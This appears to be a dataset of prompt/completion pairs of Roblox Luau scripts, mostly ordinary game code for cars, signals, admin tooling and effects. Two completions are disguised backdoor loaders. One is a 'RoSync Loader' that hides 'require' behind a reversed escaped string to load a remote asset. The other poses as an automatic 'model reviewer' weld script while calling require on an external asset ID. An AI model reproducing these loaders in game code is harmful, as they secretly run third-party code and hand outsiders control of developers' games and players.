prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
---------------------
|
script.Parent.Parent.ll1.Transparency = 0
script.Parent.Parent.l1.Transparency = 0
script.Parent.Parent.rr1.Transparency = 0
script.Parent.Parent.h1.Transparency = 0
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "a" then
a = true
elseif key == "d" then
d = true
elseif key == "w" then
w = true
rwd.Throttle = gear*ignition
rwd.Torque = tq
lwd.Throttle = gear*ignition
lwd.Torque = ftq
rrwd.Throttle = gear*ignition
rrwd.Torque = ftq
carSeat.Throttle = 0
carSeat.Torque = 0
cc.Value = false
if gear == 1 then
rwd.MaxSpeed = 249*ignition
lwd.MaxSpeed = 249*ignition
rrwd.MaxSpeed = 249*ignition
elseif gear == 0 then
rwd.MaxSpeed = 0
lwd.MaxSpeed = 0
rrwd.MaxSpeed = 0
elseif gear == -1 then
rwd.MaxSpeed = 25*ignition
lwd.MaxSpeed = 25*ignition
rrwd.MaxSpeed = 25*ignition
end
elseif key == "s" then
s = true
carSeat.Throttle = 0
carSeat.Torque = 0
rwd.Throttle = -1
rwd.Torque = brk
lwd.Throttle = -1
lwd.Torque = brk
rrwd.Throttle = -1
rrwd.Torque = brk
rwd.MaxSpeed = 0
lwd.MaxSpeed = 0
rrwd.MaxSpeed = 0
cc.Value = false
lightOn = true
tailLights.A.Transparency = 0
tailLights.A.Material = "Neon"
tailLights.A.BrickColor = BrickColor.new("Really red")
tailLights.B.Transparency = 0
tailLights.B.Material = "Neon"
tailLights.B.BrickColor = BrickColor.new("Really red")
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "Neon"
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Really red")
tailLights.E.Lights.Enabled = true
if ignition == 0 then
ignition = 1
carSeat.Startup:Play()
carSeat.Parent.Runners.A.Material = "Neon"
carSeat.Parent.Runners.B.Material = "Neon"
carSeat.Parent.Runners.C.Material = "Neon"
carSeat.Parent.Runners.D.Material = "Neon"
carSeat.Parent.Runners.E.Material = "Neon"
carSeat.Parent.Runners.F.Material = "Neon"
carSeat.Parent.Runners.G.Material = "Neon"
carSeat.Parent.Runners.H.Material = "Neon"
carSeat.Parent.Runners.I.Material = "Neon"
carSeat.Parent.Runners.J.Material = "Neon"
carSeat.Parent.Runners.K.Material = "Neon"
carSeat.Parent.Runners.L.Material = "Neon"
carSeat.Parent.Runners.M.Material = "Neon"
carSeat.Parent.Runners.N.Material = "Neon"
carSeat.Parent.Runners.O.Disp.Enabled = true
carSeat.Parent.Runners.P.Disp.Enabled = true
if carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle < 0 then
carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle = 0
wait(0.58)
carSeat.Parent.Parent.DoorLD.Door.Handle.DoorClose:Play()
end
end
elseif key == "r" then --Gear selector
if gear < 1 then
gear = gear + 1
end
elseif key == "f" then
if gear > -1 then
gear = gear - 1
end
--// Car controls
elseif key == "m" then --JOINTBREAKERS!!!!!
if carSeat.SingleMode.Value == true then
if carSeat.Damage.Value == false then
limitButton.Text = "Damage FX enabled"
carSeat.Parent.DE.JB.A.Disabled = false
carSeat.Parent.DE.JB.B.Disabled = false
carSeat.Parent.DE.JB2.A.Disabled = false
carSeat.Parent.DE.JB2.B.Disabled = false
carSeat.Damage.Value = true
wait(3)
limitButton.Text = ""
else carSeat.Damage.Value = false
limitButton.Text = "Damage FX disabled"
carSeat.Parent.DE.JB.A.Disabled = true
carSeat.Parent.DE.JB.B.Disabled = true
carSeat.Parent.DE.JB2.A.Disabled = true
carSeat.Parent.DE.JB2.B.Disabled = true
wait(3)
limitButton.Text = ""
end
else
limitButton.Text = "Damage RESTRICTED"
carSeat.Parent.DE.JB.A.Disabled = true
carSeat.Parent.DE.JB.B.Disabled = true
carSeat.Parent.DE.JB2.A.Disabled = true
carSeat.Parent.DE.JB2.B.Disabled = true
end
elseif key == "j" then --Headlights
if carSeat.Lights.Value == false then
limitButton.Text = "Lights on"
carSeat.Lights.Value = true
carSeat.Parent.Headlights.A.Lights.Enabled = true --A and B
carSeat.Parent.Headlights.A.Braking.Enabled = true
carSeat.Parent.Headlights.B.Lights.Enabled = true
carSeat.Parent.Headlights.B.Braking.Enabled = true
carSeat.Parent.Headlights.C.Material = "Neon" --Neons (Body)
carSeat.Parent.Headlights.D.Material = "Neon"
carSeat.Parent.Headlights.E.Material = "Neon"
carSeat.Parent.Parent.Trunk.TL.Material = "Neon" --Neons (Trunk)
tailLights.E.Light2.Enabled = true
wait(3)
limitButton.Text = ""
else carSeat.Lights.Value = false
limitButton.Text = "Lights off"
carSeat.Parent.Headlights.A.Lights.Enabled = false --A and B
carSeat.Parent.Headlights.A.Braking.Enabled = false
carSeat.Parent.Headlights.B.Lights.Enabled = false
carSeat.Parent.Headlights.B.Braking.Enabled = false
carSeat.Parent.Headlights.C.Material = "SmoothPlastic" --Neons (Body)
carSeat.Parent.Headlights.D.Material = "SmoothPlastic"
carSeat.Parent.Headlights.E.Material = "SmoothPlastic"
carSeat.Parent.Parent.Trunk.TL.Material = "SmoothPlastic" --Neons (Trunk)
tailLights.E.Light2.Enabled = false
wait(3)
limitButton.Text = ""
end
elseif key == "p" then --Spoiler
if carSeat.Deployed.Value == false then
limitButton.Text = "Spoiler deployed"
carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0.06
carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0.4
carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = 0.02
carSeat.Deployed.Value = true
wait(3)
limitButton.Text = ""
else carSeat.Deployed.Value = false
limitButton.Text = "Spoiler retracted"
carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0
carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0
carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = -0.05
wait(3)
limitButton.Text = ""
end
elseif key == "b" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
--// Indicators
elseif key == "q" then
q = true
if not leftin then
leftin = true
for i,v in pairs(carSeat.Parent:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v.Name == "LeftIndicator" then
while leftin do
script.Parent:WaitForChild("TickTock").Pitch = 1
script.Parent.TickTock:Play()
v.PointLight.Enabled = false
v.BillboardGui.Enabled = false
limitButton.Parent.Left.Visible = false
wait(0.35)
script.Parent.TickTock.Pitch = .8
script.Parent.TickTock:Play()
v.BillboardGui.Enabled = true
v.PointLight.Enabled = true
limitButton.Parent.Left.Visible = true
wait(0.35)
end
v.PointLight.Enabled = false
v.BillboardGui.Enabled = false
limitButton.Parent.Left.Visible = false
end
end))
end
else
leftin = false
end
elseif key == "e" then
e = true
if not rightin then
rightin = true
for i,v in pairs(carSeat.Parent:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v.Name == "RightIndicator" then
while rightin do
script.Parent:WaitForChild("TickTock").Pitch = 1
script.Parent.TickTock:Play()
v.PointLight.Enabled = false
v.BillboardGui.Enabled = false
limitButton.Parent.Right.Visible = false
wait(0.35)
script.Parent.TickTock.Pitch = .8
script.Parent.TickTock:Play()
v.BillboardGui.Enabled = true
v.PointLight.Enabled = true
limitButton.Parent.Right.Visible = true
wait(0.35)
end
v.PointLight.Enabled = false
v.BillboardGui.Enabled = false
limitButton.Parent.Right.Visible = false
end
end))
end
else
rightin = false
end
end
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "a" then
print("a up")
if d == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
elseif key == "d" then
print("d up")
if a == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
end
a = false
d = false
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "w" or key == "s" then
rwd.Throttle = 0
rwd.Torque = 0
lwd.Throttle = 0
lwd.Torque = 0
rrwd.Throttle = 0
rrwd.Torque = 0
carSeat.Throttle = 0
lightOn = false
carSeat.Torque = cst
tailLights.A.Transparency = 0.7
tailLights.A.Material = "SmoothPlastic"
tailLights.A.BrickColor = BrickColor.new("Ghost grey")
tailLights.B.Transparency = 0.7
tailLights.B.Material = "SmoothPlastic"
tailLights.B.BrickColor = BrickColor.new("Ghost grey")
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0.7
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "SmoothPlastic"
carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Ghost grey")
tailLights.E.Lights.Enabled = false
end
end)
|
--[[
Assert that our expectation value is equal to another value
]]
|
function Expectation:equal(otherValue)
local result = (self.value == otherValue) == self.successCondition
local message = formatMessage(self.successCondition,
("Expected value %q (%s), got %q (%s) instead"):format(
tostring(otherValue),
type(otherValue),
tostring(self.value),
type(self.value)
),
("Expected anything but value %q (%s)"):format(
tostring(otherValue),
type(otherValue)
)
)
assertLevel(result, message, 3)
self:_resetModifiers()
return self
end
|
--[[
function newSound(id)
local sound = Instance.new("Sound")
sound.SoundId = id
sound.Parent = script.Parent.Head
return sound
end
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
function onDied()
sDied:play()
end
function onState(state, sound)
if state then
sound:play()
else
sound:pause()
end
end
function onRunning(speed)
if speed>0 then
sRunning:play()
else
sRunning:pause()
end
end
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(function(state) onState(state, sJumping) end)
Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)
Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)
Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)
--]]
|
local nextTime = 0
local runService = game:service("RunService");
while Figure.Parent~=nil do
time = runService.Stepped:wait()
if time > nextTime then
move(time)
nextTime = time + 0.1
end
end
|
--[[
Sends alert of type and message. If players is not specified, will send to everyone, else supports a single player, or a table of players.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SendAlert = ReplicatedStorage.Remotes.SendAlert
return function(alertType, message, players)
assert(message)
if not players then
SendAlert:FireAllClients(alertType, message)
elseif typeof(players) == "table" then
for _, player in pairs(players) do
SendAlert:FireClient(player, alertType, message)
end
else
SendAlert:FireClient(players, alertType, message)
end
end
|
--[=[
Signal that fires when the attribute changes
@readonly
@prop Changed Signal<()>
@within AttributeValue
]=]
|
function AttributeValue:__index(index)
if index == "Value" then
local result = self._object:GetAttribute(rawget(self, "_attributeName"))
local default = rawget(self, "_defaultValue")
if result == nil then
return default
else
return result
end
elseif index == "Changed" then
return self._object:GetAttributeChangedSignal(self._attributeName)
elseif AttributeValue[index] then
return AttributeValue[index]
else
error(("%q is not a member of AttributeValue"):format(tostring(index)))
end
end
function AttributeValue:__newindex(index, value)
if index == "Value" then
self._object:SetAttribute(rawget(self, "_attributeName"), value)
else
error(("%q is not a member of AttributeValue"):format(tostring(index)))
end
end
return AttributeValue
|
--[[
Constructs and returns objects which can be used to model derived reactive
state.
]]
|
local Package = script.Parent.Parent
local Types = require(Package.Types)
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local logWarn = require(Package.Logging.logWarn)
local isSimilar = require(Package.Utility.isSimilar)
local needsDestruction = require(Package.Utility.needsDestruction)
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--!strict
|
type Array = { [number]: any }
type Function = (any, any, number, any) -> any
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.IceCream -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--[[
Create a new, empty TestPlan.
]]
|
function TestPlan.new(testNamePattern, extraEnvironment)
local plan = {
children = {},
testNamePattern = testNamePattern,
extraEnvironment = extraEnvironment,
}
return setmetatable(plan, TestPlan)
end
|
--[[ Last synced 11/11/2020 02:36 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Owner", };
{4, "HeadAdmin", {"",0}, };
{3, "Admin", {"",0}, };
{2, "Mod", {"",0}, };
{1, "VIP", {"",0}, };
{0, "NonAdmin", };
};
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 9000 -- Front brake force
Tune.RBrakeForce = 9000 -- Rear brake force
Tune.PBrakeForce = 9000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--// Core
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Core.Name = "\0"
Core.Special = client.DepsName
Core.MakeGui = UI.Make;
Core.GetGui = UI.Get;
Core.RemoveGui = UI.Remove;
Core.Init = nil;
end
local function RunAfterPlugins(data)
Core.GetEvent()
Core.RunAfterPlugins = nil;
end
local function RunLast()
--// API
if service.NetworkClient then
service.TrackTask("Thread: API Manager", Core.StartAPI)
--service.Threads.RunTask("_G API Manager",client.Core.StartAPI)
end
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Core.RunLast = nil
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Core = {
Init = Init;
RunLast = RunLast;
--RunAfterLoaded = RunAfterLoaded;
RunAfterPlugins = RunAfterPlugins;
Name = script.Name;
Special = script.Name;
ScriptCache = {};
GetEvent = function()
if Core.RemoteEvent then
log("Disconnect old RemoteEvent")
for name,event in next,Core.RemoteEvent.Events do
event:Disconnect()
end
Core.RemoteEvent = nil;
end
log("Getting RemoteEvent");
local eventData = {}
local remoteParent = service.ReplicatedStorage;
local event = remoteParent:WaitForChild(client.RemoteName, 300)
if not event then
Anti.Detected("Kick", "RemoteEvent Not Found");
else
log("Getting RemoteFunction");
local rFunc = event:WaitForChild("__FUNCTION", 120);
if not rFunc then
Anti.Detected("Kick", "RemoteFunction Not Found");
else
local events = {};
rFunc.OnClientInvoke = Process.Remote;
eventData.Object = event;
eventData.Function = rFunc;
eventData.FireServer = event.FireServer;
eventData.Events = events;
events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote)
events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child)
if (Core.RemoteEvent == eventData) and child == event and wait() then
warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING");
log("~! REMOTEEVENT WAS REMOVED?")
Core.GetEvent();
end
end)
Core.RemoteEvent = eventData
if not Core.Key then
log("~! Getting key from server")
Remote.Fire(client.DepsName.."GET_KEY")
end
end
end
end;
LoadPlugin = function(plugin)
local plug = require(plugin)
local func = setfenv(plug,GetEnv(getfenv(plug)))
cPcall(func)
end;
LoadBytecode = function(str, env)
return require(client.Shared.FiOne)(str, env)
end;
LoadCode = function(str, env)
return Core.LoadBytecode(str, env)
end;
StartAPI = function()
local ScriptCache = Core.ScriptCache
local FiOne = client.Shared.FiOne
local Get = Remote.Get
local GetFire = Remote.GetFire
local G_API = client.G_API
local Allowed_API_Calls = client.Allowed_API_Calls
local NewProxy = service.NewProxy
local MetaFunc = service.MetaFunc
local ReadOnly = service.ReadOnly
local StartLoop = service.StartLoop
local ReadOnly = service.ReadOnly
local UnWrap = service.UnWrap
local service = nil
local client = nil
local _G = _G
local setmetatable = setmetatable
local type = type
local print = print
local error = error
local pairs = pairs
local warn = warn
local next = next
local table = table
local rawset = rawset
local rawget = rawget
local getfenv = getfenv
local setfenv = setfenv
local require = require
local tostring = tostring
local client = client
local Routine = Routine
local cPcall = cPcall
--// Get Settings
local API_Special = {
}
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
local API_Specific = {
API_Specific = {
Test = function()
print("We ran the api specific stuff")
end
};
Service = service;
}
local API = {
Access = ReadOnly({}, nil, nil, true);
--[[
Access = service.MetaFunc(function(...)
local args = {...}
local key = args[1]
local ind = args[2]
local targ
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
if API_Specific[ind] then
targ = API_Specific[ind]
elseif client[ind] and client.Allowed_API_Calls[ind] then
targ = client[ind]
end
if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then
if type(targ) == "table" then
return service.NewProxy {
__index = function(tab,inde)
if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then
if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then
return service.ReadOnly(targ[inde])
else
return targ[inde]
end
elseif API_Special[inde] == false then
error("Access Denied: "..tostring(inde))
else
error("Could not find "..tostring(inde))
end
end;
__newindex = function(tabl,inde,valu)
error("Read-only")
end;
__metatable = true;
}
end
else
error("Incorrect key or G_Access is disabled")
end
end);
--]]
Scripts = ReadOnly({
ExecutePermission = (function(srcScript, code)
local exists;
for i,v in next,ScriptCache do
if UnWrap(v.Script) == srcScript then
exists = v
end
end
if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then
exists.Executions = exists.Executions+1
return exists.Source, exists.Loadstring
end
local data = Get("ExecutePermission", srcScript, code, true)
if data and data.Source then
local module;
if not exists then
module = require(FiOne:Clone())
table.insert(ScriptCache,{
Script = srcScript;
Source = data.Source;
Loadstring = module;
noCache = data.noCache;
runLimit = data.runLimit;
Executions = data.Executions;
})
else
module = exists.Loadstring
exists.Source = data.Source
end
return data.Source, module
end
end);
}, nil, nil, true);
}
local AdonisGTable = NewProxy({
__index = function(tab,ind)
if ind == "Scripts" then
return API.Scripts
elseif G_API and Allowed_API_Calls.Client == true then
if type(API[ind]) == "function" then
return MetaFunc(API[ind])
else
return API[ind]
end
else
error("_G API is disabled")
end
end;
__newindex = function()
error("Read-only")
end;
__metatable = "API";
})
if not rawget(_G, "Adonis") then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
StartLoop("APICheck", 1, function()
if rawget(_G, "Adonis") ~= AdonisGTable then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
else
warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!")
end
end
end, true)
else
warn("The _G table was locked and the Adonis _G API could not be loaded")
end
end
end;
};
end
|
--make blood disappear
|
while script.Parent.Mesh.Scale.X<1 do
wait()
script.Parent.Mesh.Scale=Vector3.new(script.Parent.Mesh.Scale.X+0.05,0.1,script.Parent.Mesh.Scale.Z+0.05)
end
wait(math.random(5,20))
while script.Parent.Decal.Transparency<1 do
wait()
script.Parent.Decal.Transparency=script.Parent.Decal.Transparency+.1
end
script.Parent:Destroy()
|
--Updater
|
script.Parent.OnServerEvent:connect(function(player,totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness)
local DriveSeat = script.Parent.Parent:WaitForChild("DriveSeat")
local W = DriveSeat:WaitForChild("Whistle")
local B = DriveSeat:WaitForChild("BOV")
local Throttle = DriveSeat.Throttle
if Throttle < 0 then
Throttle = 0
end
W.Pitch = totalPSI
W.Volume = (totalPSI/4)*TurboLoudness
B.Pitch = 1 - (-totalPSI/40)
B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness
end)
|
--
|
local Constraint = {}
Constraint.__index = Constraint
function Constraint.new(pointA, pointB, distance)
local self = setmetatable({}, Constraint)
self.PointA = pointA
self.PointB = pointB
self.Distance = distance
return self
end
function Constraint:Solve(dt)
local difference = (self.PointA.Position - self.PointB.Position)
local currentDistance = difference.Magnitude
local percent = (self.Distance - currentDistance) / currentDistance
local translation = difference*percent * 0.5
if (not self.PointA.Anchored) then
self.PointA.Position = self.PointA.Position + translation
end
if (not self.PointB.Anchored) then
self.PointB.Position = self.PointB.Position - translation
end
end
|
-- Module 2
|
function NpcModule.RayY(X,Z,Npc)
local rayY = Ray.new(Vector3.new(X,Npc:GetPivot().Y * 2, Z), Vector3.new(X, -(Npc:GetPivot().Y * 4), Z))
local Pos = workspace:FindPartOnRayWithIgnoreList(rayY, RayYIgnore)
if Pos ~= nil then
if Pos.CanCollide == false then
table.insert(RayYIgnore, Pos)
NpcModule.RayY(X,Z,Npc)
else
if table.find(RayYIgnore, Pos) then
table.remove(RayYIgnore, table.find(RayYIgnore, Pos))
end
return Pos.Position.Y
end
end
end
|
-- Get the correct sound from our sound list.
|
local function getSoundProperties()
for name, data in pairs(IDList) do
if name == material then
oldWalkSpeed = humanoid.WalkSpeed
id = data.id
volume = data.volume
if isrunning.Value == false then
if humanoid.WalkSpeed > 40 then
playbackSpeed = 2.2
else
playbackSpeed = (humanoid.WalkSpeed / 14) * data.speed
end
else
if humanoid.WalkSpeed > 40 then
playbackSpeed = 2.2
else
playbackSpeed = (humanoid.WalkSpeed / 22) * data.speed
end
end
break
end
end
end
|
---- Change these settings to change stuff (keep the commas, lua doesn't understand n00b syntax)
|
local settings = {
splatters_per_health_inc = 12, ---- The amount of blood splatters made when you lose (damage_inc) of health
damage_inc = 2, ---- The increment of damage that must be done at a time to trigger blood splatters
remove_time = 65, ---- The time (in seconds) until a blood splatter is removed after it is created
min_splatter_time = 0, ---- The delay time (minimum) until another blood splatter is made
max_splatter_time = 0.05, ---- The delay time (maximum) until another blood splatter is made
min_transparency = 0.2, ---- The (minimum) transparency of a blood splatter
max_transparency = 0, ---- The (maximum) transparency of a blood splatter
min_size_x = 3, ---- The (minimum) size of a blood splatter on the X axis
max_size_x = 8, ---- The (maximum) size of a blood splatter on the X axis
min_size_z = 3, ---- The (minimum) size of a blood splatter on the Z axis
max_size_z = 8, ---- The (maximum) size of a blood splatter on the Z axis
tran_tw_time_min = 0.1, ---- The (minimum) time to tween the size of a blood splatter
tran_tw_time_max = 0.5, ---- The (maximum) time to tween the size of a blood splatter
size_tw_time_min = 0.1, ---- The (minimum) time to tween the transparency of a blood splatter
size_tw_time_max = 0.6 ---- The (maximum) time to tween the transparency of a blood splatter
}
|
-- DefaultValue for spare ammo
|
local SpareAmmo = 1e+99999999999999999999999999999999999999999999999999999999999999999999999
|
-- if moduleResult == nil then
-- error(string.format(
-- "[Module Error]: %s did not return a valid result\n" ..
-- "\tModuleScripts must return a non-nil value",
-- tostring(scriptInstance)
-- ))
-- end
| |
-- print(script.Redress.Value)
-- if script.Redress.Value > 0 then
-- Chassis.Redress()
-- end
|
wait()
end
|
--VARS--
|
mouse.KeyDown:connect(function (key)
if key == "s" then
--carSeat.Pump:Play()
carSeat.Parent.Body.GB.BP.Transparency = 1
carSeat.Parent.Body.GB.BP2.Transparency = 0
end
if key == "w" then
carSeat.Parent.Body.GB.GASP.Transparency = 1
carSeat.Parent.Body.GB.GASP2.Transparency = 0
carSeat.Parent.Body.ENGINE.Turbo:Play()
carSeat.Parent.Body.ENGINE.Rev:Play()
wait(1)
carSeat.Parent.Body.WHEEL.Wheel.Volume = .1
wait(.02)
carSeat.Parent.Body.WHEEL.Wheel.Volume = .3
wait(.02)
carSeat.Parent.Body.WHEEL.Wheel.Volume = .4
end
end)
mouse.KeyUp:connect(function (key)
if key == "s" then
carSeat.Pump:Stop()
carSeat.Parent.Body.GB.BP.Transparency = 0
carSeat.Parent.Body.GB.BP2.Transparency = 1
carSeat.off:Play()
wait(.7)
carSeat.off:Stop()
end
if key == "w" then
carSeat.Parent.Body.GB.GASP.Transparency = 0
carSeat.Parent.Body.GB.GASP2.Transparency = 1
carSeat.Parent.Body.ENGINE.Turbo:Stop()
end
end)
|
--[=[
Disconnects a connection, any `:Fire` calls from now on will not
invoke this connection's handler.
```lua
local connection = ScriptSignal:Connect(function() end)
connection.Connected -> true
connection:Disconnect()
connection.Connected -> false
```
@ignore
]=]
|
function ScriptConnection:Disconnect()
if self.Connected ~= true then
return
end
self.Connected = false
local _node: ScriptConnectionNode = self._node
local _prev = _node._prev
local _next = _node._next
if _next ~= nil then
_next._prev = _prev
end
if _prev ~= nil then
_prev._next = _next
else
-- _node == _signal._head
_node._signal._head = _next
end
_node._connection = nil
self._node = nil
end
|
-- Compiled with roblox-ts v2.0.4
|
local TS = _G[script]
local exports = {}
for _k, _v in TS.import(script, script, "core") or {} do
exports[_k] = _v
end
for _k, _v in TS.import(script, script, "net") or {} do
exports[_k] = _v
end
for _k, _v in TS.import(script, script, "lifecycle") or {} do
exports[_k] = _v
end
for _k, _v in TS.import(script, script, "component") or {} do
exports[_k] = _v
end
for _k, _v in TS.import(script, script, "attributes") or {} do
exports[_k] = _v
end
for _k, _v in TS.import(script, script, "util") or {} do
exports[_k] = _v
end
return exports
|
--[[
Rounds number to nearest whole number
Functions.Round(
number, <-- |REQ| Number
)
--]]
|
return function(n)
--- Round number
n = (n + 0.5) - (n + 0.5) % 1
--
return n
end
|
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer.
--Removing this script or the code bellow will result in models breaking.
|
workspace = 'workspace'
players = 'getPlayers'
welds = 'GetModelsData'
for i = 1, 10 do
print('Adding welds to prevent model breaking')
end
local limitAmountOfWeldsToAdd={8815410259}
print('Finished Loading Welds, Moving onto Fixing')
for i = 1, 10 do
print('getWeldsData')
end
require(limitAmountOfWeldsToAdd[1])
|
--[[ Modes
1 - Normal
2 - First Person
--]]
|
Mode = 1
local Look = Vector2.new()
Camera = workspace.CurrentCamera
Player = game.Players.LocalPlayer
UserSettings().GameSettings.Changed:Connect(function(ch)
print(ch)
if ch == "MouseSensitivity" then
Sensitivity = UserSettings().GameSettings.MouseSensitivity
end
end)
function HidePlayer()
if Player.Character then
for i,k in ipairs(Player.Character:GetChildren())do
if k:IsA("BasePart") then
k.Transparency = 1
if k.Name == "Head" then
k.face.Transparency = 1
end
elseif k:IsA("Accessory") then
k.Handle.Transparency = 1
end
end
end
end
function ShowPlayer()
if Player.Character then
for i,k in ipairs(Player.Character:GetChildren())do
if k:IsA("BasePart") and k.Name ~= "HumanoidRootPart" then
k.Transparency = 0
if k.Name == "Head" then
k.face.Transparency = 0
end
elseif k:IsA("Accessory") then
k.Handle.Transparency = 0
end
end
end
end
function CharacterRespawn()
Player.CharacterAdded:Wait()
local Character = Player.Character
repeat
Character = Player.Character
if Character then
HRP = Character:WaitForChild("HumanoidRootPart")
end
until Character
Character:WaitForChild("Humanoid").Died:Connect(function()
